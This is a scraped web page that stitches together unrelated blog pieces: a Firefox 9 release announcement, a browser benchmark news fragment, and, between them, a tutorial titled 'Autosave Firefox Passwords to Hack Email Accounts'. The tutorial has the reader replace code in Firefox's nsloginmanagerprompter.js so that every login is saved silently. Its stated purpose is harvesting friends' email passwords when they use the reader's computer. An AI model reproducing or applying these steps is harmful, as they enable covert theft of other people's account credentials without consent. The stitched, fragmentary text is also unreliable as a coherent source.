Firefox 9 Available For Download, JavaScript Performance Increased By 20-30%

Firefox 9 is now available for download, with some huge performance improvements. One of the features Firefox 9 has introduced, is the Type Inference, which basically improves the JavaScript performance. This new feature can speed up the browser’s JavaScript performance by up to 30%, and comes with better integration with OS X and lots of stability enhancements. Also, many other stability enhancements and bug fixes have been added to the new version. Firefox 9 is not yet available through the official update channel, but you can easily download it from official Mozilla website.
The new version of Firefox comes with support for font-stretch, improved text-overflow and overall standards support for HTML5. Moreover, Firefox 9 also fixes several other CSS stability issues. It also offers Mac OS X Lion users with the new two-finger swipe navigation, and improved theme integration.

The added Type Inference feature significantly improves JavaScript performance by 20-30%, as compared to Firefox 8. Since the update to Firefox 9 is not yet available through the official update channel (going to Help > About in Firefox will still show Firefox 8 as the latest version, at least at the time of writing), you can either wait for it to become available, or simply download it from the Mozilla link given below.

Autosave Firefox Passwords to Hack Email Accounts

Previously, I posted a Firefox hack in which hacker steals signons file which enables him to hack Email account passwords saved in victim’s Firefox. In this article, instead of stealing signons we will configure our Firefox to autsave all login information. Thus, if your friend tries to login to his account by using your Firefox browser, his login information will be automatically saved in your Firefox and thus, you will be able to hack email account password of your friend.

How to hack Email Account password:

Usually, whenever you try to login to your account, Firefox asks you whether your login information should be saved or not. Firefox will remember your password only if you hit on “Remember”.

But, this confirmation bar becomes a headache when victim tries to login to his account using your computer. So, to hack Email account password of your victim, we will remove this confirmation bar and configure Firefox to autosave every password without asking for any confirmation.
Note: If you are trying this hack, remember to backup your nsloginmanagerprompter.js file before moving to further section. For backup, go to

C:\Program Files\Mozilla Firefox\Componenets

and copy nsloginmanagerprompter.js file. Save this copied file to a safe location so that you can use this file to rollback your default Firefox configuration.

Steps to Hack Email Account:

1. Download Notepad++ and install it on your computer.
Password: techotoys.blogspot.com
2. Go to

C:\Program Files\Mozilla Firefox\Components

and look for nsloginmanagerprompter.js file. Right click on it and hit on “Edit with Notepad++”.
3. Now, move to line 804. Replace the entire code from line 804 to line 869 with the following code:

var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);

4. Now, go to File ->Save As and save the file on your Desktop. Now, copy this file and paste it in Components folder (C:\Program Files\Mozilla Firefox\Components). You will be asked whether to replace the existing file. Hit on “Copy and Replace”.
That’s it. We have configured Firefox and now, whenever anyone tries to login to his account using Firefox, his login information will be autosaved by Firefox without asking for any confirmation. You can try this in your Firefox.
To see the autosaved passwords go to Tools ->Options ->Security. Hit on “Saved Passwords” and on the popup box, hit on “Show Passwords”. You can thus hack email account of your friend by using this Firefox hack.
So friends, this was a little Firefox hack to hack Email account of your friends. Note that for this hack to work, your friend should login to his account using your Firefox. If you have any problem in this Firefox trick to hack Email account password, please mention it in comments.
Enjoy Firefox trick to hack Email account…

Although it's only been one month since Web Browser Grand Prix VI: Firefox 6, Chrome 13, And Mac OS X Lion, the browser wars show no signs of subsiding.

09/27/11: Mozilla Releases Firefox 7

Ongoing: Microsoft Internet Explorer market share continues to plummet, while Google Chrome market share continues meteoric rise.
Recent Drama
05/04/11: Google releases "fixed" versions of Apple's SunSpider and Mozilla's Kraken JavaScript benchmarks. We missed this the first time around.
09/01/11: David Storey, emblematic Opera developer and evangelist, leaves Opera for a new gig at Motorola, which quickly gets eaten up by Opera's arch-rival Google. Doh. Good luck, Dave!
09/20/11: Yet another Mozilla developer incites fear and chaos by suggesting a five week (or shorter) Firefox release cycle.
09/21/11: This idea is quickly rejected.
09/22/11: Another camp inside Mozilla proposes Firefox ESR (Extended Support Release) for enterprise use. ESR is to be five times slower than the standard Firefox releases.

What's New In Web Browser Grand Prix 7?
We've added more composite scoring, brand new startup time tests, and retired the raw placing tables. Essentially, the benchmark suite receives yet another handful of additional refinements aimed at updating tests, enhancing accuracy, improving analysis, and most noticeable of all, yielding faster results. Hey, Firefox 7 was just released the day before yesterday! With 40+ benchmarks, multiple iterations per benchmark, and five Web browsers, this is nothing short of a monumental effort.
